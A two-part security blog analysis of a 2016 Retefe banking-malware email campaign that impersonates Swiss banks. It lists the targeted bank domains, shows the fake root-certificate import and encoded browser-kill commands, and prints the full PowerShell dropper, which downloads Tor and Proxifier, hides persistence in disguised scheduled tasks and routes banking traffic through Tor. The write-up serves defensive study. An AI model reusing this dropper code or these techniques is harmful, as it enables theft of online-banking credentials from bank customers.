Quantcast
Channel: Some stuff about security..
Viewing all 65 articles
Browse latest View live
↧

Malicious email campaign mimicking Swiss Financial Institutions: Retefe again.

October 12, 2016, 2:08 pm
$
0
0
Yesterday, while I was investigating something else I ended up with some malicious email impersonating a Swiss bank.  

The email with the subject "Von Ihrem Konto ist 78 Franken abgebucht" contains a 'docx' file named  "Credit_Zahlung.docx". Looking deeper, I  found quite a few more emails sent around the same time but with different attachments names and subjects, but all of them on behalf of the same Swiss Financial Institution.

The 'docx' file contains an embedded image with a text message inviting to double click in order to see the invoice.






Looking to the file with oledump.py, in Remnux, I see some obfuscated .JS script code inside the DOCX file







I did not deobfuscated the .JS script code, however when I executed the code I saw that several applications were installed and executed. One of them is a Proxy tool (Proxifier) and the other is a Tor client.





The proxy tool is setup to forward all the traffic to some specific URLs through a localhost connection, which in reality is the Tor connection established. The set of URL that goes through the Tor connection are many Swiss banks and Austrian banks. This is how Retefe malware operates to steal the username/passwords of the customers. Luis Rocha explained it some months ago in his blog.




The list of domains affected are

*postfinance.ch
cs.directnet.com
eb.akb.ch
*.ubs.com
tb.raiffeisendirect.ch
*.bkb.ch
*.lukb.ch
*.zkb.ch
*.onba.ch
e-banking.gkb.ch
*.bekb.ch
wwwsec.ebanking.zugerkb.ch
netbanking.bcge.ch
*.raiffeisen.ch
*.credit-suisse.com
*.bankaustria.at
*.bawagpsk.com
*.raiffeisen.at
*.static-ubs.com
*.bawag.com
*.clientis.ch
clientis.ch
*bcvs.ch
*cic.ch
www.banking.co.at
*oberbank.at
www.oberbank-banking.at
*baloise.ch
*.ukb.ch
urkb.ch
*.urkb.ch
*.eek.ch
*szkb.ch
*shkb.ch
*glkb.ch
*nkb.ch
*owkb.ch
*cash.ch
*bcf.ch
*.easybank.at
ebanking.raiffeisen.ch
*.onion
*bcv.ch
*juliusbaer.com
*abs.ch
*bcn.ch
*blkb.ch
*bcj.ch
*zuercherlandbank.ch




Proxifier is able to redirect the traffic for Internet Explorer, Firefox and Chrome. In the screenshot below there is connection by Chrome redirected through the proxy to an Onion URL  http://v7yxqrahkza3ewuv.onion



Looking to the HTTPS certificate we can see that the CA is Comodo, however this is totally a fake certificate which has been imported during the infection to fool the user and avoid the browser warnings.


Actually, for that specific domain the original certificate has been signed by Symantec CA.





Finally, the mimic website requests to introduce the phone number in order to install a maliciuos APK and be able to retrieve the 2FA token.

About this malicious APK I wrote several posts:

http://blog.angelalonso.es/2016/01/2nd-part-of-timba-malware-analysis-apk.html
http://blog.angelalonso.es/2015/10/android-memory-analysis-preparing.html
http://blog.angelalonso.es/2015/10/decrypting-emmental-blowfish-and-base64.html
http://blog.angelalonso.es/2015/10/android-memory-analysis-iii-analyzing.html
http://blog.angelalonso.es/2015/10/malware-analysis-with-androguad.html
http://blog.angelalonso.es/2015/10/reversing-c2c-http-emmental.html
http://blog.angelalonso.es/2015/11/reversing-sms-c-protocol-of-emmental.html
http://blog.angelalonso.es/2015/10/android-memory-analysis-iii-analyzing.html


In essence the TTP from this Threat Actors has not changed that much. However the tool Proxifier  to redirect the traffic is something recently introduced.





↧
Search

Malicious email campaign mimicking Swiss Financial Institutions: Retefe again (II)

October 17, 2016, 10:28 am
$
0
0
A few days ago when I took a look to the latest Retefe campaign affecting Swiss financial Institutions, I did not have the time to take a deeper look to the malicious JS embedded in the .docx file.  So in this post I'll explain a bit about it. Particularly, I'm interested in understanding how the Proxifier tool is setup with a custom profile to forward the traffic through Tor. This tool is something Cyber Criminals have introduced recently, as previously they used a proxy PAC file which is setup in the registry key "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\AutoConfigURL"

Last analysis about Retefe from Avast shows exactly the behaviour described above.

Retefe is not just affecting Swiss banks, but also other countries banks, like UK. So it might be that the custom proxy file is hardcoded into the malicious JS or dynamically this file is downloaded. So let's take a look to it.

(I have upload the malicious JS payload to VT )

The JS is obfuscated so I'm using Visual Studio to perform some debugging.

The first interesting thing I see are the Tor URLs defined bvq64y3wwg3zzguk.onion, v7yxqrahkza3ewuv.onion, cvxbceskbuvsic3i.onion, a7j7f3rqdvoe5bav.onion,




Also,  there is the fake Comodo CA which it used to avoid the browser SSL warnings. This is base64 encoded.




There is a PowerShell script to simulate the "click" to accept the import of the CA certificate.










Then there is a command to import the certificate
"certutil -addstore -f -user \"ROOT\" \""

and some base64 encoded commands to kill the browser running:




"dGFza2tpbGwgL0YgL2ltIGlleHBsb3JlLmV4ZQ=="
taskkill /F /im iexplore.exe

"dGFza2tpbGwgL0YgL2ltIGZpcmVmb3guZXhl"
taskkill /F /im firefox.exe

"dGFza2tpbGwgL0YgL2ltIGNocm9tZS5leGU="

taskkill /F /im chrome.exe

So at this point the malicious certificate has been imported and all the browsers, after killking them, have the COMODO CA maliciuos certificate in their CA chain

Debugging deeper, in the end, a temporal file is created which contains a PowerShell script the interesting stuff




This is the code



function Unzip
{
param([string]$zipfile, [string]$destination);
$7zaExe = Join-Path$env:Temp'7za.exe';
if (-NOT (Test-Path$7zaExe)){
Try
{
(New-Object System.Net.WebClient).DownloadFile('https://chocolatey.org/7za.exe',$7zaExe);
}
Catch{}
}
if ($(Try { Test-Path$7zaExe.trim() } Catch { $false })){
Start-Process"$7zaExe" -ArgumentList "x -o`"$destination`" -y `"$zipfile`"" -Wait -NoNewWindow
}
else{
$shell = new-object -com shell.application;
$zip = $shell.NameSpace($zipfile);
foreach($itemin$zip.items())
{
$shell.Namespace($destination).copyhere($item);
}
}
}
function Base64ToFile
{
param([string]$file, [string]$string);
$bytes=[System.Convert]::FromBase64String($string);
#set-content -encoding byte $file -value $bytes;
[IO.File]::WriteAllBytes($file, $bytes);
}
function AddTask
{
param([string]$name, [string]$cmd, [string]$params='',[int]$restart=0,[int]$delay=0);
$ts=New-Object Microsoft.Win32.TaskScheduler.TaskService;
$td=$ts.NewTask();
$td.RegistrationInfo.Description = 'Does something';
$td.Settings.DisallowStartIfOnBatteries = $False;
$td.Settings.StopIfGoingOnBatteries = $False;
$td.Settings.MultipleInstances = [Microsoft.Win32.TaskScheduler.TaskInstancesPolicy]::IgnoreNew;
$LogonTrigger = New-Object Microsoft.Win32.TaskScheduler.LogonTrigger;
$LogonTrigger.StartBoundary=[System.DateTime]::Now;
$LogonTrigger.UserId=$env:username;
$LogonTrigger.Delay=[System.TimeSpan]::FromSeconds($delay);
$td.Triggers.Add($LogonTrigger);
if($restart-eq 1){
$TimeTrigger = New-Object Microsoft.Win32.TaskScheduler.TimeTrigger;
$TimeTrigger.StartBoundary=[System.DateTime]::Now;
$TimeTrigger.Repetition.Interval=[System.TimeSpan]::FromMinutes(20);
$TimeTrigger.Repetition.StopAtDurationEnd=$False;
$td.Triggers.Add($TimeTrigger);
}
$ExecAction=New-Object Microsoft.Win32.TaskScheduler.ExecAction($cmd,$params);
$td.Actions.Add($ExecAction);
$task=$ts.RootFolder.RegisterTaskDefinition($name, $td);
$task.Run();
}
function InstallTP{
$File=$env:Temp+'\ts.zip';
$Dest=$env:Temp+'\ts';
(New-Object System.Net.WebClient).DownloadFile('http://download-codeplex.sec.s-msft.com/Download/Release?ProjectName=taskscheduler&DownloadId=1505290&FileTime=131142250937900000&Build=21031',$File);
if ((Test-Path$Dest) -eq 1){rm -Force -Recurse $Dest;}md $Dest | Out-Null;
Unzip $File$Dest;
rm -Force $File;
$TSAssembly=$Dest+'\v2.0\Microsoft.Win32.TaskScheduler.dll';
$loadLib = [System.Reflection.Assembly]::LoadFile($TSAssembly);
$TFile=$env:Temp+'\t.zip';
$DestTP=$env:APPDATA+'\TP';
(New-Object System.Net.WebClient).DownloadFile('https://dist.torproject.org/torbrowser/6.0.4/tor-win32-0.2.8.6.zip',$TFile);
if ((Test-Path$DestTP) -eq 1){rm -Force -Recurse $DestTP;}md $DestTP | Out-Null;
Unzip $TFile$DestTP;
rm -Force $TFile;
$tor=$DestTP+'\Tor\tor.exe';
$tor=$tor.Replace('\','/');
$tor_cmd="`"javascript:close(new ActiveXObject('WScript.Shell').Run('$tor',0,false))`"";
AddTask 'SkypeUpdateTask''mshta.exe'$tor_cmd;
$PFile=$env:Temp+'\p1.zip';
$wc=new-object net.webclient;
$purl='http://proxifier.com/distr/ProxifierPE.zip';
$wc.DownloadFile($purl,$PFile);
Unzip $PFile$DestTP;
$p_old=$DestTP+'\Proxifier PE\';
rm -Force $PFile;
Rename-Item -path $p_old -newName 'p';
$p_fold=$DestTP+'\p\';
$p=$DestTP+'\p\Proxifier.exe';
$settings_file=$p_fold+'Settings.ini';
Base64ToFile $settings_file'W1NldHRpbmdzXQ0KRGVmYXVsdE5ldFByb2ZpbGU9MTcxMTg3Njg4NQ0KTG9nTGV2ZWxTY3JlZW49Mg0KTG9nTGV2ZWxGaWxlPTANCkxvZ1BhdGg9DQpTeXNUcmF5SWNvbj0xDQpTeXNUcmF5SWNvblNob3dUcmFmZmljPTANClNob3dUcmFmZmljVHlwZT0wDQpUcmFmZmljUmVmcmVzaFNwZWVkPTENCkFjdGl2ZVByb2ZpbGU9RGVmYXVsdA0KUHJvZmlsZUF1dG9VcGRhdGU9MA0KUHJvZmlsZVVwZGF0ZVVybD0NClByb2ZpbGVVcGRhdGVVcmxUb0ZvbGRlcj0xDQpQcm9maWxlVXBkYXRlS2VlcExvZ2lucz0wDQpVcGRhdGVDaGVjaz0wDQpbV29ya3NwYWNlXQ0KQXBwbGljYXRpb25Mb29rPTIxNA0KUnVsZURsZ1dpZHRoPTczMg0KUnVsZURsZ0hlaWdodD00MzYNCltEZWZhdWx0XENvbnRyb2xCYXJWZXJzaW9uXQ0KTWFqb3I9OQ0KTWlub3I9MA0KW0RlZmF1bHRcTUZDVG9vbEJhclBhcmFtZXRlcnNdDQpUb29sdGlwcz0xDQpTaG9ydGN1dEtleXM9MQ0KTGFyZ2VJY29ucz0wDQpNZW51QW5pbWF0aW9uPTANClJlY2VudGx5VXNlZE1lbnVzPTENCk1lbnVTaGFkb3dzPTENClNob3dBbGxNZW51c0FmdGVyRGVsYXk9MQ0KQ29tbWFuZHNVc2FnZT1BQUFBQUFBQUFBQUENCltEZWZhdWx0XENvbW1hbmRNYW5hZ2VyXQ0KQ29tbWFuZHNXaXRob3V0SW1hZ2VzPUFBQUENCk1lbnVVc2VySW1hZ2VzPUFBQUENCltEZWZhdWx0XENvbnRyb2xCYXJzLVN1bW1hcnldDQpCYXJzPTANClNjcmVlbkNYPTE2ODANClNjcmVlbkNZPTk0NQ0KW0RlZmF1bHRcUGFuZS01OTM5M10NCklEPTANClJlY3RSZWNlbnRGbG9hdD1LQUFBQUFBQUtBQUFBQUFBT0dBQUFBQUFPR0FBQUFBQQ0KUmVjdFJlY2VudERvY2tlZD1BQUFBQUFBQUdKQkFBQUFBRUVEQUFBQUFKS0JBQUFBQQ0KUmVjZW50RnJhbWVBbGlnbm1lbnQ9NDA5Ng0KUmVjZW50Um93SW5kZXg9MA0KSXNGbG9hdGluZz0wDQpNUlVXaWR0aD0zMjc2Nw0KUGluU3RhdGU9MA0KW0RlZmF1bHRcQmFzZVBhbmUtNTkzOTNdDQpJc1Zpc2libGU9MQ0KW0RlZmF1bHRcUGFuZS0tMV0NCklEPS0xDQpSZWN0UmVjZW50RmxvYXQ9SVBBQUFBQUFJS0JBQUFBQUFNQkFBQUFBQUhDQUFBQUENClJlY3RSZWNlbnREb2NrZWQ9QUFBQUFBQUFPQ0FBQUFBQUVFREFBQUFBQ0FCQUFBQUENClJlY2VudEZyYW1lQWxpZ25tZW50PTQwOTYNClJlY2VudFJvd0luZGV4PTANCklzRmxvYXRpbmc9MA0KTVJVV2lkdGg9MzI3NjcNClBpblN0YXRlPTANCltEZWZhdWx0XEJhc2VQYW5lLS0xXQ0KSXNWaXNpYmxlPTENCltEZWZhdWx0XFBhbmUtMzEwXQ0KSUQ9MzEwDQpSZWN0UmVjZW50RmxvYXQ9SVBBQUFBQUFJS0JBQUFBQUFNQkFBQUFBQUhDQUFBQUENClJlY3RSZWNlbnREb2NrZWQ9RUFBQUFBQUFHRUFBQUFBQUFFREFBQUFBSU9BQUFBQUENClJlY2VudEZyYW1lQWxpZ25tZW50PTgxOTINClJlY2VudFJvd0luZGV4PTANCklzRmxvYXRpbmc9MA0KTVJVV2lkdGg9MzI3NjcNClBpblN0YXRlPTANCltEZWZhdWx0XEJhc2VQYW5lLTMxMF0NCklzVmlzaWJsZT0wDQpbRGVmYXVsdFxQYW5lLTEwMjJdDQpJRD0xMDIyDQpSZWN0UmVjZW50RmxvYXQ9SVBBQUFBQUFJS0JBQUFBQUFNQkFBQUFBQUhDQUFBQUENClJlY3RSZWNlbnREb2NrZWQ9RUFBQUFBQUFHRUFBQUFBQUFFREFBQUFBSU9BQUFBQUENClJlY2VudEZyYW1lQWxpZ25tZW50PTQwOTYNClJlY2VudFJvd0luZGV4PTANCklzRmxvYXRpbmc9MA0KTVJVV2lkdGg9MzI3NjcNClBpblN0YXRlPTANCltEZWZhdWx0XEJhc2VQYW5lLTEwMjJdDQpJc1Zpc2libGU9MA0KW0RlZmF1bHRcUGFuZS0xMDIzXQ0KSUQ9MTAyMw0KUmVjdFJlY2VudEZsb2F0PUlQQUFBQUFBSUtCQUFBQUFBTUJBQUFBQUFIQ0FBQUFBDQpSZWN0UmVjZW50RG9ja2VkPUVBQUFBQUFBR0VBQUFBQUFBRURBQUFBQUlPQUFBQUFBDQpSZWNlbnRGcmFtZUFsaWdubWVudD00MDk2DQpSZWNlbnRSb3dJbmRleD0wDQpJc0Zsb2F0aW5nPTANCk1SVVdpZHRoPTMyNzY3DQpQaW5TdGF0ZT0wDQpbRGVmYXVsdFxCYXNlUGFuZS0xMDIzXQ0KSXNWaXNpYmxlPTANCltEZWZhdWx0XERvY2tpbmdNYW5hZ2VyLTEyOF0NCkRvY2tpbmdQYW5lQW5kUGFuZURpdmlkZXJzPUFBQUFBQUFBQ0FBQUFBQUFBQUFBQUFBQUFBQUNBQUFBQkFBQUFBQUFQUFBQUFBQUFBQUFBQUFBQQUFBQUFBQUFDQUJBQUFBQUVFREFBQUFBR0FCQUFBQUFBQUFBQUFBQUJBQUFBQUFCRUFBQUFBQUFCQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFQUFBQUFBQUERBQUFBQUFBR0RCQUFBQUFPUERBQUFBQVBQREFBQUFBUFBQUENBQUFMQUFBREVFRkJHQ0dDR0ZHRUdBRkJHT0dGR0FBQUNBQUFBQkFBQUFBQUFJUEFBQUFBQUlLQkFBQUFBQU1CQUFBQUFBSENBQUFBQUFBQUFBQUFBT0NBQUFBQUFFRURBQUFBQUNBQkFBQUFBQUFBQUFBQUFBRUVCQUFHRkRBQUFBQUFBUFBPUFBQTEFERUFBUEdBQU9HQUFPR0FBRkdBQURHQUFFSEFBSkdBQVBHQUFPR0FBREhBQUJBQUFBQUFBR0RCQUFBQUFCQUFBQUFBQVBQUFBQUFBQUFBQUFBQUFBQUE9QUFBIQUVGQUFDSEFBQkdBQUdHQUFHR0FBSkdBQURHQUFCQUFBQUFBQU9QREFBQUFBQkFBQUFBQUFQUFBQUFBQUFBQUFBQUFBQUFBPUFBQS0FERkFBRUhBQUJHQUFFSEFBSkdBQURIQUFFSEFBSkdBQURHQUFESEFBQkFBQUFBQUFQUERBQUFBQUJBQUFBQUFBUFBQUFBQUFBQUFBQUFBQUEFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBUFBQUFBQUFBHREJBQUFBQUJBQUFBQUFBUFBQUFBQUFBHREJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQ0KW1N0YXR1c10NCkZpcnN0UnVuPTANClN5c1RyeUljb25NZXNzYWdlU2hvd249MQ0KW1dvcmtzcGFjZVxDb250cm9sQmFyVmVyc2lvbl0NCk1ham9yPTkNCk1pbm9yPTANCltXb3Jrc3BhY2VcTUZDVG9vbEJhclBhcmFtZXRlcnNdDQpUb29sdGlwcz0xDQpTaG9ydGN1dEtleXM9MQ0KTGFyZ2VJY29ucz0wDQpNZW51QW5pbWF0aW9uPTANClJlY2VudGx5VXNlZE1lbnVzPTENCk1lbnVTaGFkb3dzPTENClNob3dBbGxNZW51c0FmdGVyRGVsYXk9MQ0KQ29tbWFuZHNVc2FnZT1HRkFBQUFBQUVCQUFBRUJPQUFBQUJBQUFBQUFBTkFFQUFBQUFDQUFBQUFBQVBIQUlBQUFBQkFBQUFBQUFFQUJPQUFBQUJBQUFBQUFBT0JBSUFBQUFHQkFBQUFBQU9FQUlBQUFBREFBQUFBQUFQRkFJQUFBQUNBQUFBQUFBTEVBSUFBQUFCQUFBQUFBQU1BRUFBQUFBQkFBQUFBQUFPSEFJQUFBQUJBQUFBQUFBREFCT0FBQUFDQUFBQUFBQU5CQUlBQUFBQUJBQUFBQUFQREFJQUFBQUxBQUFBQUFBQUFFQUFBQUFDQUFBQUFBQUNDQk9BQUFBQ0FBQUFBQUFESUFJQUFBQURBQUFBQUFBTURBSUFBQUFFQUFBQUFBQUtFQUlBQUFBSUFBQUFBQUFNQkFJQUFBQUNBQUFBQUFBT0RBSUFBQUFCQUFBQUFBQQ0KW1dvcmtzcGFjZVxDb21tYW5kTWFuYWdlcl0NCkNvbW1hbmRzV2l0aG91dEltYWdlcz1BQUFBDQpNZW51VXNlckltYWdlcz1BQUFBDQpbV29ya3NwYWNlXENvbnRyb2xCYXJzLVN1bW1hcnldDQpCYXJzPTANClNjcmVlbkNYPTE2ODANClNjcmVlbkNZPTk0NQ0KW1dvcmtzcGFjZVxQYW5lLTU5MzkzXQ0KSUQ9MA0KUmVjdFJlY2VudEZsb2F0PUtBQUFBQUFBS0FBQUFBQUFPR0FBQUFBQU9HQUFBQUFBDQpSZWN0UmVjZW50RG9ja2VkPUFBQUFBQUFBR0pCQUFBQUFFRURBQUFBQUpLQkFBQUFBDQpSZWNlbnRGcmFtZUFsaWdubWVudD00MDk2DQpSZWNlbnRSb3dJbmRleD0wDQpJc0Zsb2F0aW5nPTANCk1SVVdpZHRoPTMyNzY3DQpQaW5TdGF0ZT0wDQpbV29ya3NwYWNlXEJhc2VQYW5lLTU5MzkzXQ0KSXNWaXNpYmxlPTENCltXb3Jrc3BhY2VcUGFuZS0tMV0NCklEPS0xDQpSZWN0UmVjZW50RmxvYXQ9SVBBQUFBQUFHTkJBQUFBQU1ERUFBQUFBUExDQUFBQUENClJlY3RSZWNlbnREb2NrZWQ9QUFBQUFBQUFPQ0FBQUFBQUVFREFBQUFBSEJCQUFBQUENClJlY2VudEZyYW1lQWxpZ25tZW50PTQwOTYNClJlY2VudFJvd0luZGV4PTANCklzRmxvYXRpbmc9MA0KTVJVV2lkdGg9MzI3NjcNClBpblN0YXRlPTANCltXb3Jrc3BhY2VcQmFzZVBhbmUtLTFdDQpJc1Zpc2libGU9MQ0KW1dvcmtzcGFjZVxQYW5lLTMxMF0NCklEPTMxMA0KUmVjdFJlY2VudEZsb2F0PUNBQkFBQUFBSUJCQUFBQUFLTUJBQUFBQUFPQkFBQUFBDQpSZWN0UmVjZW50RG9ja2VkPUVBQUFBQUFBR0VBQUFBQUFBRURBQUFBQU5QQUFBQUFBDQpSZWNlbnRGcmFtZUFsaWdubWVudD04MTkyDQpSZWNlbnRSb3dJbmRleD0wDQpJc0Zsb2F0aW5nPTANCk1SVVdpZHRoPTMyNzY3DQpQaW5TdGF0ZT0wDQpbV29ya3NwYWNlXEJhc2VQYW5lLTMxMF0NCklzVmlzaWJsZT0wDQpbV29ya3NwYWNlXFBhbmUtMTAyMl0NCklEPTEwMjINClJlY3RSZWNlbnRGbG9hdD1DQUJBQUFBQUlCQkFBQUFBS01CQUFBQUFBT0JBQUFBQQ0KUmVjdFJlY2VudERvY2tlZD1FQUFBQUFBQUdFQUFBQUFBQUVEQUFBQUFOUEFBQUFBQQ0KUmVjZW50RnJhbWVBbGlnbm1lbnQ9ODE5Mg0KUmVjZW50Um93SW5kZXg9MA0KSXNGbG9hdGluZz0wDQpNUlVXaWR0aD0zMjc2Nw0KUGluU3RhdGU9MA0KW1dvcmtzcGFjZVxCYXNlUGFuZS0xMDIyXQ0KSXNWaXNpYmxlPTANCltXb3Jrc3BhY2VcUGFuZS0xMDIzXQ0KSUQ9MTAyMw0KUmVjdFJlY2VudEZsb2F0PUNBQkFBQUFBSUJCQUFBQUFLTUJBQUFBQUFPQkFBQUFBDQpSZWN0UmVjZW50RG9ja2VkPUVBQUFBQUFBR0VBQUFBQUFBRURBQUFBQU5QQUFBQUFBDQpSZWNlbnRGcmFtZUFsaWdubWVudD04MTkyDQpSZWNlbnRSb3dJbmRleD0wDQpJc0Zsb2F0aW5nPTANCk1SVVdpZHRoPTMyNzY3DQpQaW5TdGF0ZT0wDQpbV29ya3NwYWNlXEJhc2VQYW5lLTEwMjNdDQpJc1Zpc2libGU9MA0KW1dvcmtzcGFjZVxEb2NraW5nTWFuYWdlci0xMjhdDQpEb2NraW5nUGFuZUFuZFBhbmVEaXZpZGVycz1BQUFBQUFBQUNBQUFBQUFBQUFBQUFBQUFBQUFDQUFBQUJBQUFBQUFBUFBQUFBQUFBQUFBQUFBQUEFBQUFBQUFBSEJCQUFBQUFFRURBQUFBQUxCQkFBQUFBQUFBQUFBQUFCQUFBQUFBQkVBQUFBQUFBQkFBQUFBQUFHSk9QUFBQUElGQUFBQUFBUFBQUFBQUFBEQUFBQUFBQUdEQkFBQUFBT1BEQUFBQUFQUERBQUFBQVBQUFBDQUFBTEFBQURFRUZCR0NHQ0dGR0VHQUZCR09HRkdBQUFDQUFBQUJBQUFBQUFBSVBBQUFBQUFHTkJBQUFBQU1ERUFBQUFBUExDQUFBQUFBQUFBQUFBQU9DQUFBQUFBRUVEQUFBQUFIQkJBQUFBQUFBQUFBQUFBQUVFQkFBR0ZEQUFBQUFBQVBQT1BQUExBREVBQVBHQUFPR0FBT0dBQUZHQUFER0FBRUhBQUpHQUFQR0FBT0dBQURIQUFCQUFBQUFBQUdEQkFBQUFBQkFBQUFBQUFQUFBQUFBQUFBQUFBQUFBQUFBPUFBQSEFFRkFBQ0hBQUJHQUFHR0FBR0dBQUpHQUFER0FBQkFBQUFBQUFPUERBQUFBQUJBQUFBQUFBUFBQUFBQUFBQUFBQUFBQUFBQT1BQUEtBREZBQUVIQUFCR0FBRUhBQUpHQUFESEFBRUhBQUpHQUFER0FBREhBQUJBQUFBQUFBUFBEQUFBQUFCQUFBQUFBQVBQUFBQUFBQUFBQUFBQUFBBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQVBQUFBQUFBQR0RCQUFBQUFCQUFBQUFBQVBQUFBQUFBQR0RCQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUENCltXb3Jrc3BhY2VcV2luZG93UGxhY2VtZW50XQ0KTWFpbldpbmRvd1JlY3Q9QVBBQUFBQUFLSUJBQUFBQUVFRUFBQUFBSkZEQUFBQUENCkZsYWdzPTANClNob3dDbWQ9MQ0KW0xpY2Vuc2VdDQpPd25lcj0yVENLWC1UWVFITC1ORk4zMy0zWUVEWS1RVzY1RA0KS2V5PTJUQ0tYLVRZUUhMLU5GTjMzLTNZRURZLVFXNjVEDQo=';
$p_prof=$p_fold+'Profiles\';
md $p_prof | Out-Null;
$def_file=$p_prof+'Default.ppx';
Base64ToFile $def_file'PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9InllcyI/Pg0KPFByb3hpZmllclByb2ZpbGUgdmVyc2lvbj0iMTAxIiBwbGF0Zm9ybT0iV2luZG93cyIgcHJvZHVjdF9pZD0iMSIgcHJvZHVjdF9taW52ZXI9IjMxMCI+DQogIDxPcHRpb25zPg0KICAgIDxSZXNvbHZlPg0KICAgICAgPEF1dG9Nb2RlRGV0ZWN0aW9uIGVuYWJsZWQ9ImZhbHNlIiAvPg0KICAgICAgPFZpYVByb3h5IGVuYWJsZWQ9InRydWUiPg0KICAgICAgICA8VHJ5TG9jYWxEbnNGaXJzdCBlbmFibGVkPSJmYWxzZSIgLz4NCiAgICAgIDwvVmlhUHJveHk+DQogICAgICA8RXhjbHVzaW9uTGlzdD4lQ29tcHV0ZXJOYW1lJTsgbG9jYWxob3N0OyAqLmxvY2FsPC9FeGNsdXNpb25MaXN0Pg0KICAgIDwvUmVzb2x2ZT4NCiAgICA8UHJveGlmaWNhdGlvblBvcnRhYmxlRW5naW5lIHN1YnN5c3RlbT0iMzIiPg0KICAgICAgPExvY2F0aW9uPkJhc2VQcm92aWRlcjwvTG9jYXRpb24+DQogICAgICA8VHlwZSBob3RwYXRjaD0idHJ1ZSI+UHJvbG9ndWU8L1R5cGU+DQogICAgPC9Qcm94aWZpY2F0aW9uUG9ydGFibGVFbmdpbmU+DQogICAgPFByb3hpZmljYXRpb25Qb3J0YWJsZUVuZ2luZSBzdWJzeXN0ZW09IjY0Ij4NCiAgICAgIDxMb2NhdGlvbj5CYXNlUHJvdmlkZXI8L0xvY2F0aW9uPg0KICAgICAgPFR5cGUgaG90cGF0Y2g9ImZhbHNlIj5Qcm9sb2d1ZTwvVHlwZT4NCiAgICA8L1Byb3hpZmljYXRpb25Qb3J0YWJsZUVuZ2luZT4NCiAgICA8RW5jcnlwdGlvbiBtb2RlPSJiYXNpYyIgLz4NCiAgICA8SHR0cFByb3hpZXNTdXBwb3J0IGVuYWJsZWQ9ImZhbHNlIiAvPg0KICAgIDxIYW5kbGVEaXJlY3RDb25uZWN0aW9ucyBlbmFibGVkPSJmYWxzZSIgLz4NCiAgICA8Q29ubmVjdGlvbkxvb3BEZXRlY3Rpb24gZW5hYmxlZD0idHJ1ZSIgLz4NCiAgICA8UHJvY2Vzc1NlcnZpY2VzIGVuYWJsZWQ9ImZhbHNlIiAvPg0KICAgIDxQcm9jZXNzT3RoZXJVc2VycyBlbmFibGVkPSJmYWxzZSIgLz4NCiAgPC9PcHRpb25zPg0KICA8UHJveHlMaXN0Pg0KICAgIDxQcm94eSBpZD0iMTAwIiB0eXBlPSJTT0NLUzUiPg0KICAgICAgPEFkZHJlc3M+MTI3LjAuMC4xPC9BZGRyZXNzPg0KICAgICAgPFBvcnQ+OTA1MDwvUG9ydD4NCiAgICAgIDxPcHRpb25zPjQ4PC9PcHRpb25zPg0KICAgIDwvUHJveHk+DQogIDwvUHJveHlMaXN0Pg0KICA8Q2hhaW5MaXN0IC8+DQogIDxSdWxlTGlzdD4NCiAgICA8UnVsZSBlbmFibGVkPSJ0cnVlIj4NCiAgICAgIDxOYW1lPkxvY2FsaG9zdDwvTmFtZT4NCiAgICAgIDxUYXJnZXRzPmxvY2FsaG9zdDsgMTI3LjAuMC4xOyAlQ29tcHV0ZXJOYW1lJTsgYXBpLmlwaWZ5Lm9yZzwvVGFyZ2V0cz4NCiAgICAgIDxBY3Rpb24gdHlwZT0iRGlyZWN0IiAvPg0KICAgIDwvUnVsZT4NCiAgICA8UnVsZSBlbmFibGVkPSJ0cnVlIj4NCiAgICAgIDxOYW1lPnNvZnQ8L05hbWU+DQogICAgICA8QXBwbGljYXRpb25zPmZpcmVmb3guZXhlO2lleHBsb3JlLmV4ZTtjaHJvbWUuZXhlPC9BcHBsaWNhdGlvbnM+DQogICAgICA8VGFyZ2V0cz4qcG9zdGZpbmFuY2UuY2g7Y3MuZGlyZWN0bmV0LmNvbTtlYi5ha2IuY2g7Ki51YnMuY29tO3RiLnJhaWZmZWlzZW5kaXJlY3QuY2g7Ki5ia2IuY2g7Ki5sdWtiLmNoOyouemtiLmNoOyoub25iYS5jaDtlLWJhbmtpbmcuZ2tiLmNoOyouYmVrYi5jaDt3d3dzZWMuZWJhbmtpbmcuenVnZXJrYi5jaDtuZXRiYW5raW5nLmJjZ2UuY2g7Ki5yYWlmZmVpc2VuLmNoOyouY3JlZGl0LXN1aXNzZS5jb207Ki5iYW5rYXVzdHJpYS5hdDsqLmJhd2FncHNrLmNvbTsqLnJhaWZmZWlzZW4uYXQ7Ki5zdGF0aWMtdWJzLmNvbTsqLmJhd2FnLmNvbTsqLmNsaWVudGlzLmNoO2NsaWVudGlzLmNoOypiY3ZzLmNoOypjaWMuY2g7d3d3LmJhbmtpbmcuY28uYXQ7Km9iZXJiYW5rLmF0O3d3dy5vYmVyYmFuay1iYW5raW5nLmF0OypiYWxvaXNlLmNoOyoudWtiLmNoO3Vya2IuY2g7Ki51cmtiLmNoOyouZWVrLmNoOypzemtiLmNoOypzaGtiLmNoOypnbGtiLmNoOypua2IuY2g7Km93a2IuY2g7KmNhc2guY2g7KmJjZi5jaDsqLmVhc3liYW5rLmF0O2ViYW5raW5nLnJhaWZmZWlzZW4uY2g7Ki5vbmlvbjsqYmN2LmNoOypqdWxpdXNiYWVyLmNvbTsqYWJzLmNoOypiY24uY2g7KmJsa2IuY2g7KmJjai5jaDsqenVlcmNoZXJsYW5kYmFuay5jaDsqdmFsaWFudC5jaDsqd2lyLmNoPC9UYXJnZXRzPg0KICAgICAgPEFjdGlvbiB0eXBlPSJQcm94eSI+MTAwPC9BY3Rpb24+DQogICAgPC9SdWxlPg0KICAgIDxSdWxlIGVuYWJsZWQ9InRydWUiPg0KICAgICAgPE5hbWU+RGVmYXVsdDwvTmFtZT4NCiAgICAgIDxBY3Rpb24gdHlwZT0iRGlyZWN0IiAvPg0KICAgIDwvUnVsZT4NCiAgPC9SdWxlTGlzdD4NCjwvUHJveGlmaWVyUHJvZmlsZT4=';
AddTask 'ChromeUpdate'$p'' 1;
}
InstallTP


In the beginning, there is a function 'unzip' in charge of downloading an application from URL https://chocolatey.org/7za.exe to unzip compressed files.

